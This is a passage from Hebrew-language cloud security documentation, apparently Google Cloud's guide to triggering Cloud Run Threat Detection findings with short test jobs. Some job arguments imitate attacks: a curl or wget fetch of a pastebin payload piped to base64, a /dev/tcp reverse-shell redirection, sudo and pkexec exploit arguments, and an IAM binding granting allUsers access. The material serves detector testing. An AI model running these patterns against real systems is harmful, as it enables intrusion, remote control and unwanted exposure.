      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Suspicious OpenSSL Shared Object Loaded ממצא.

העברה לא מורשית: הפעלת כלים להעתקת קבצים מרחוק בקונטיינר

כדי להפעיל Exfiltration: Launch Remote File Copy Tools In Containerאיתור, מריצים כלי להעתקה מרחוק.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Exfiltration: Launch Remote File Copy Tools In Container.

השפעה: זיהוי של שורות פקודה זדוניות

כדי להפעיל ממצא Impact: Detect Malicious Cmdlines (תצוגה מקדימה), מריצים שם פקודה חשוד (IPFS).

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Impact: Detect Malicious Cmdlines ממצא.

השפעה: הסרת נתונים בכמות גדולה מהדיסק

כדי להפעיל ממצא של Impact: Remove Bulk Data From Disk, מריצים כלי כמו shred.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Impact: Remove Bulk Data From Disk ממצא.

השפעה: פעילות חשודה של כריית מטבעות קריפטוגרפיים באמצעות פרוטוקול Stratum

כדי להפעיל ממצא Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol, מריצים קובץ בינארי עם ארגומנטים שדומים לאלה שמשמשים תוכנה לכריית מטבעות קריפטוגרפיים שמתקשרת באמצעות פרוטוקול Stratum.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol.

הופעל סקריפט זדוני

כדי להפעיל Malicious Script Executed ממצא, מריצים סקריפט שמדמה התנהגות זדונית.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Malicious Script Executed.

זוהתה כתובת URL זדונית

כדי להפעיל איתור של Malicious URL Observed, מריצים קובץ בינארי ומספקים כתובת URL זדונית כארגומנט.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה מפעיל ממצא Malicious URL Observed.

הסלמת הרשאות: ניצול לרעה של Sudo להסלמת הרשאות (CVE-2019-14287)

כדי להפעיל Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) ממצא, מריצים את קובץ הבינארי sudo עם הפרמטר -u#-1.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)

הסלמת הרשאות: פוטנציאל להסלמת הרשאות ב-Sudo‏ (CVE-2021-3156)

כדי להפעיל Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) ממצא, מריצים את קובץ ה-binary‏ sudo עם הפרמטר -s ופרמטר שמסתיים ב-``‎.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)

הסלמת הרשאות: נקודת חולשה של הסלמת הרשאות מקומיות ב-Polkit‏ (CVE-2021-4034)

כדי להפעיל את Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), מריצים קובץ בינארי של pkexec עם משתנה הסביבה GCONV_PATH שמוגדר כמשתמש לא-בסיסי.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)

Reverse Shell

כדי להפעיל ממצא של Reverse Shell, מפעילים קובץ בינארי עם הפניה של stdin לשקע שמחובר ל-TCP.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Reverse Shell.

Unexpected Child Shell

כדי לבדוק את הגלאי Unexpected Child Shell, יוצרים עץ תהליכים שכולל תהליך של מעטפת צאצא.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --task-timeout 700 \
      --args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Unexpected Child Shell. הערה: יכול להיות שיחלפו עד 15 דקות עד שתוצאות הבדיקה יופיעו.

הרצה: קובץ אימג' של Docker לכריית מטבע וירטואלי

כדי להפעיל ממצא Execution: Cryptomining Docker Image, פורסים קונטיינר באמצעות שם תמונת Docker שמשויך לתוכנת כריית מטבעות קריפטוגרפיים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
      --command sh \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

תהליך הבדיקה הזה יוצר Execution: Cryptomining Docker Image ממצא. שימו לב שהפריסה של העבודה תיכשל כי התמונה לא קיימת, אבל הממצא עדיין ייווצר.

השפעה: פקודות לכריית מטבע וירטואלי

כדי להפעיל ממצא מסוג Impact: Cryptomining Commands, מריצים פקודה עם ארגומנטים שדומים לתוכנות ידועות לכריית מטבעות קריפטוגרפיים.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command xmrig \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא מסוג Impact: Cryptomining Commands. הערה: הפעלת העבודה תיכשל כי הפקודה לא קיימת בתמונה, אבל הממצא עדיין ייווצר.

העלאת רמת הרשאה: חשבון השירות שמוגדר כברירת מחדל של Compute Engine ‏SetIAMPolicy

כדי להפעיל ממצא של Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, מריצים פקודה שמשתמשת בחשבון השירות שמוגדר כברירת מחדל ב-Compute Engine כדי להגדיר את מדיניות ה-IAM של שירות Cloud Run.

יוצרים ומריצים את משימת Cloud Run:

JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
      --command gcloud \
      --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

הליך הבדיקה הזה יוצר ממצא Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy

המאמרים הבאים